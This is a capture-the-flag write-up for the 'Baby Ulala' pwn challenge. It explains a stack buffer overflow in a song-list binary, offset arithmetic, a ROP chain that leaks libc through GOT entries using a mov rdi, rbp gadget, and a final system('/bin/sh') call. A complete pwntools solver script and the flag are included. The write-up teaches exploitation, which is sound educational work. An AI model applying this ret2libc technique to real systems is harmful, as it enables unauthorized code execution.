Baby Ulala (Upsolved)

64-bit ret2libc, just without pop rdi; ret; gadget and a tricky buffer overflow. (Solved after the competition ended.)

Prologue

Before I start the actual writeup, there are three things I (should have already, but just) learned here:

If you're leaking libc by leaking GOT addresses, ALWAYS leak AT LEAST TWO GOT addresses. You'll see why further in the writeup.
Put lots of sense and reasoning in choosing libc versions. Some versions doesn't always make sense. Back to number 1.
When in doubt of stack alignment, just try and put the ret gadget any-fricking-where. Sometimes it will work. It's luck based.

Analysis

Alright, let's start. We are given the binary, which upon checksec-ing, we see that it has no canary and PIE.

Running the binary gives us a simple note-ish application. Because of this, I initially thought this was a heap challenge.

The decompilation of the binary is a bit of a mess actually, but I'll try my best to explain only the function(s) I think are interesting. There are some functions in the entire program.

`main` function

Not much here except the choice logic: 1 is for adding a song, 2 is for deleting a song, 3 is for viewing the song list, and 4 is for exiting through return. We also see that the binary prepared a really large buffer, presumably for the songs.

`addSong` function

Here is where we see the actual song-adding logic. For the sake of readability, I renamed some variables and added comments.

Basically to add "songs", we have a counter of how many songs are already on the list (let's call this n). From that n, we multiply it by 0xcc as some kind of "oh, the first n 0xcc buffers are already filled, so let's go to the n * 0xcc'th buffer". From this, we can say that for each song, we have 0xcc (204) bytes allocated. And that goes really well with the song adding logic. The first 100 bytes are allocated for the song title, the next 100 bytes are allocated for the artist name, and the next 4 bytes are for the song duration in integer type. Here's a visualization from gdb upon adding one song.

Here's where's things are interesting. Each of the fgets calls for the song title and the artist name asks for a 0x100 (256) buffer. If we're also counting the newline, then it's 255 characters (0xff). That is clearly more than the allocated space for both the title and artist, as each of them are only given 100 bytes allocation. Buffer overflow detected! To demonstrate the buffer overflow, I will input "a" as the song title, and I will try to input a 255-character-long-ish string using de Bruijn's sequence. Here's the stack condition after the input.

But, as we remember in the main decompile, we have a VERY LARGE buffer, so, overwriting just one "song" won't work. Here's where some fun math are needed.

Calculating The Offset

Right, our next thing to do is calculating the offset. Like, how many of these overwrites should we do before we can overwrite the return address? Let's take a look at the stack in the main function after adding one song.

From here, we know that the first song buffer is located in 0x7ff...8b20. We know that one song buffer is 0xcc bytes large. Now let's find where's rbp. Specifically, we just need to calculate the distance from the first song buffer to the rbp.

0x4fc0 bytes, or 20416 in decimal. As I said, large buffer. But, the large buffer is made to accommodate all the songs someone might possibly add. Here comes the fun math. We can figure out just how many songs we need to add before we can reach the rbp. Let's just divide the total distance with the buffer sizes.

0x4fc0 / 0xcc = 20416 / 204 = 100 with a remainder of 16.

That means, we can fill 100 songs that takes 0xcc bytes with no overflow, and we'll be left with only 16 bytes away from overwriting the rbp. What if on the 100th song, we overflow the artist? Let's do some math again by calculating how many bytes it would take to add 99 songs without overflow.

99 * 0xcc = 99 * 204 = 20196 bytes. Still 220 bytes away from rbp.

Let's add the 100th song. On the 100th song, after we add the 100 bytes song title, we would have occupied 20296 bytes. It means there's only 20416 - 20296 = 120 bytes distance from the 100th song artist buffer to the rbp. Since we can overflow the artist buffer to the maximum of 255 bytes, we can definitely overwrite the return pointer. ROP entry achieved.

Solution Breakdown

Before we continue, here's my solver script's headers. I'm going to snip them from the next code blocks for brevity.

#!/usr/bin/python3
from pwn import *

elf = ELF("ulele_patched")
libc = ELF("libc.so.6")
rop = ROP(elf)

context.binary = elf

SERVER = 'ctf.gemastik.id 1313'
HOST, PORT = SERVER.split() if SERVER != '' else (0,0)

gs = '''
init-pwndbg
'''

# context.log_level = 'debug'


def start():
    if args.GDB:
        context.terminal = ["tmux", "new-window"]
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote(HOST, PORT)
    else:
        return process([elf.path])
        
def main():
    global io

    io = start()
    
    # script goes here
    
    io.interactive()

if __name__ == '__main__':
    main()

LIBC Leak

Alright, so we know what to do first. We need to add 99 songs, then add one more but overwrite the artist buffer by 120 bytes, plus 8 additional bytes to overflow the rbp. Then the rest is our ROP payload. To do this, I made a helper function to add songs, then just for-looped it 99 times.

You don't even need to entirely fill the title and artist, if you don't notice (because I didn't when I was trying to solve this mid competition). That's because the 204 bytes allocation thing is already fixed, not dynamically counted from how long your inputs are.

# headers

def addSong(title, artist, duration):
    io.sendlineafter(b"choice: ", b"1")
    io.sendlineafter(b"title: ", title.encode())
    if type(artist) == str:
        artist = artist.encode()
    io.sendlineafter(b"name: ", artist)
    io.sendlineafter(b"): ", str(duration).encode())

# headers
    io = start()
    
    for i in range(99):
        addSong("a", "b", "1")
        
    payload = flat([
        b"a"*128,
        # ROP payload goes here    
    ])

I assume you readers have some basic on how ret2libc works. For our first payload, we want to leak the libc GOT functions, then find the respective libc version. Ah, it must be the standard pop rdi; ret; of some GOT address, right? WRONG! To my surprise, there was no pop rdi gadget in the binary.

Well, we have a pretty good gadget, though. mov rdi, rbp means we can move anything from the rbp to the rdi. This will do. One thing to notice though, after the mov rdi, rbp; nop;, there's a pop rbp; ret instruction right away, so we need to put extra stuff after the gadget call and before our next function call. This is to ensure that our payload doesn't accidentally get popped into the rbp and not get called.

Now, there are two ways you can put some stuff to the rdi with this gadget. The first one was a longer way: We put some stuff to rbp using a pop rbp; ret gadget that fortunately exists, then call the mov rdi, rdp gadget to move the stuff to rdi. This was how I did it mid-competition.

# headers
MOV_RDI = 0x401792
...
payload = flat([
    b"a"*128,
    rop.find_gadget(["pop rbp", "ret"])[0],
    elf.got["puts"],
    MOV_RDI,
    0x0,
    elf.plt["puts"],
    elf.sym["main"],  # don't forget to return to main
])

The second way is much more simpler and I just discovered it post-competition (shout out to PETIR - FlagGPT's writeup). Remember that we have control over the rbp value by overwriting it. Instead of using pop gadgets, we can just write 120 bytes, then fill the rbp with the value we want to print (in this case, puts's GOT address), then use the mov gadget. It looks like this.

# headers
MOV_RDI = 0x401792
...
payload = flat([
    b"a"*120,  # only 120 bytes, so don't overwrite rbp just yet,
    elf.got["puts"],  # overwrite the rbp with puts's GOT address
    MOV_RDI, # mov rdi, rbp the stuff from rbp
    0x0,
    elf.plt["puts"],
    elf.sym["main"],  # don't forget to return to main
])

Both works the same, the second one just minimizes what we need to write. I'm gonna stick with the first one here, for my script's authenticity. Now, just send the payload as the 100th song's artist. Then, choose option 4 (exit) from main, so our ROP chain gets called.

# headers
...
payload = flat([...])  # omitted for brevity
add(b"a", payload, "1")
io.sendlineafter(b"choice: ", b"4")
io.recvline()

leak_puts = io.recvline().strip()
leak_puts = u64(leak_puts.ljust(8, b"\x00"))
log.info(f"puts leak: 0x{leak_puts:x}")

Great, we got puts's GOT address. Let's find the libc version using https://libc.rip.

Now, remember the prologue message? THIS was the thing that made me stuck mid-competition, ending up not solving the challenge. I thought I had found the correct libc version and I was so sure, but turns out libc 2.11 was too obsolete to even be used in a binary exploitation challenge... And I didn't know.

Quoting the prologue, number two:

Put lots of sense and reasoning in choosing libc versions. Some versions doesn't always make sense. Back to number 1.

And, prologue number one:

If you're leaking libc by leaking GOT addresses, ALWAYS leak AT LEAST TWO GOT addresses. You'll see why further in the writeup.

That's why we need to do another libc leak. This time, we're gonna leak printf's GOT entry. Exact same order of code like the previous code block, just change things to (mostly) printf this time. Also, because we have added the 100th song, we need to remove it first before being able to add the 100th song again and do our overwrite. It goes like this.

# first payload
...

# second payload
# delete 100th song first, then re-add it.
io.sendlineafter(b"choice: ", b"2")
io.sendlineafter(b"delete: ", b"100")

payload2 = flat([
    b"a"*128,
    rop.find_gadget(["pop rbp", "ret"])[0],
    elf.got["printf"],
    0x401792,  # the mov rdi, rbp gadget
    0x0,
    elf.plt["puts"],
    elf.sym["main"]
])

addSong("a", payload2, "-")
io.sendlineafter(b"choice: ", b"4")
io.recvline()

leak_printf = io.recvline().strip()
leak_printf = u64(leak_printf.ljust(8, b"\x00"))
log.info(f"printf leak: 0x{leak_printf:x}")
libc.address = leak_printf - libc.sym["printf"]
log.info(f"libc address: 0x{libc.address:x}")

Great! We have the printf address too. Now, the libc version search results should be more promising.

We got the correct libc version this time. Download it, put it on the same directory as the binary, then add it to the script (look at my script header for reference). On the previous code block, I have also subtracted the leaked printf GOT entry with the offset from libc—correcting the libc base address.

Now we can be sure that this is the correct version, because the libc base address ends in 000. It's one of the signs that you have the correct libc version, by the way.

Get Shell

If you're familiar with ret2libc, I assume you know what to do now, so I'm not gonna explain it too much. The third payload is much like the printf payload—delete the 100th song first, then add another with our ret2libc payload.

...
io.sendlineafter(b"choice: ", b"2")
io.sendlineafter(b"delete: ", b"100")

payload3 = flat([
    b"a"*128,
    rop.find_gadget(["pop rbp", "ret"])[0],
    next(libc.search(b"/bin/sh")),
    0x401792,  # the mov rdi, rbp gadget
    0x0,
    rop.find_gadget(["ret"])[0],
    libc.sym["system"],
])

addSong("a", payload3, "-")
io.sendlineafter(b"choice: ", b"4")

io.interactive()

Now, quoting number three of the prologue:

When in doubt of stack alignment, just try and put the ret gadget any-fricking-where. Sometimes it will work. It's luck based.

You see, I had put the ret gadget before calling system to ensure the stack alignment is correct. For the last 5 minutes of the contest, I didn't notice that the ret gadget was missing, and just found out 2 minutes after the contest ended. It still hurts until now. 💔

Anyways, it's done. We can run the script by connecting to the server, get the shell, then output the flag.

Full Solver Script

#!/usr/bin/python3
from pwn import *

elf = ELF("ulele_patched")
libc = ELF("libc.so.6")
rop = ROP(elf)

context.binary = elf

SERVER = 'ctf.gemastik.id 1313'
HOST, PORT = SERVER.split() if SERVER != '' else (0,0)

gs = '''
init-pwndbg
break *main+0
break *addSong+0
'''

# context.log_level = 'debug'


def start():
    if args.GDB:
        context.terminal = ["tmux", "new-window"]
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote(HOST, PORT)
    else:
        return process([elf.path])

def addSong(title, artist, duration):
    io.sendlineafter(b"choice: ", b"1")
    io.sendlineafter(b"title: ", title.encode())
    if type(artist) == str:
        artist = artist.encode()
    io.sendlineafter(b"name: ", artist)
    io.sendlineafter(b"): ", str(duration).encode())

def main():
    global io

    io = start()

    for i in range(99):
        addSong("a", "b", "-")


    # Phase 1: Leak puts GOT address
    payload = flat([
        b"a"*128,
        rop.find_gadget(["pop rbp", "ret"])[0],
        elf.got["puts"],
        0x401792,
        0x0,
        elf.plt["puts"],
        elf.sym["main"]
    ])

    addSong("a", payload, "-")
    io.sendlineafter(b"choice: ", b"4")
    io.recvline()
    
    leak_puts = io.recvline().strip()
    leak_puts = u64(leak_puts.ljust(8, b"\x00"))
    log.info(f"puts leak: 0x{leak_puts:x}")

    # Phase 2: Leak printf GOT
    io.sendlineafter(b"choice: ", b"2")
    io.sendlineafter(b"delete: ", b"100")

    payload2 = flat([
        b"a"*128,
        rop.find_gadget(["pop rbp", "ret"])[0],
        elf.got["printf"],
        0x401792,
        0x0,
        elf.plt["puts"],
        elf.sym["main"]
    ])

    addSong("a", payload2, "-")
    io.sendlineafter(b"choice: ", b"4")
    io.recvline()
    
    leak_printf = io.recvline().strip()
    leak_printf = u64(leak_printf.ljust(8, b"\x00"))
    log.info(f"printf leak: 0x{leak_printf:x}")
    libc.address = leak_printf - libc.sym["printf"]
    log.info(f"libc address: 0x{libc.address:x}")

    # Phase 3: Get system()
    io.sendlineafter(b"choice: ", b"2")
    io.sendlineafter(b"delete: ", b"100")
    
    payload3 = flat([
        b"a"*128,
        rop.find_gadget(["pop rbp", "ret"])[0],
        next(libc.search(b"/bin/sh")),
        0x401792,
        0x0,
        rop.find_gadget(["ret"])[0],
        libc.sym["system"],
    ])
    addSong("a", payload3, "-")
    io.sendlineafter(b"choice: ", b"4")

    io.interactive()


if __name__ == '__main__':
    main()

Flag

gemastik{enjoy_your_journey_on_pwnw0rld_LINZ_AND_ENRYU_IS_HERE}

Closing Remarks

Apart from the three points in the prologue, I learned something new here: doing ROP without any direct pop rdi; ret; gadget. It might seem like something minor, but it actually takes a lot of thoroughness to notice that another gadget can replace the functionality, especially if you're "too comfortable" in using the usual gadgets. Thank you to problemsetters Linz and Enryu, great challenge! (even though I didn't solve it mid competition)

Here's the binary file if you want to try it on your own.

4KB

ulele.zip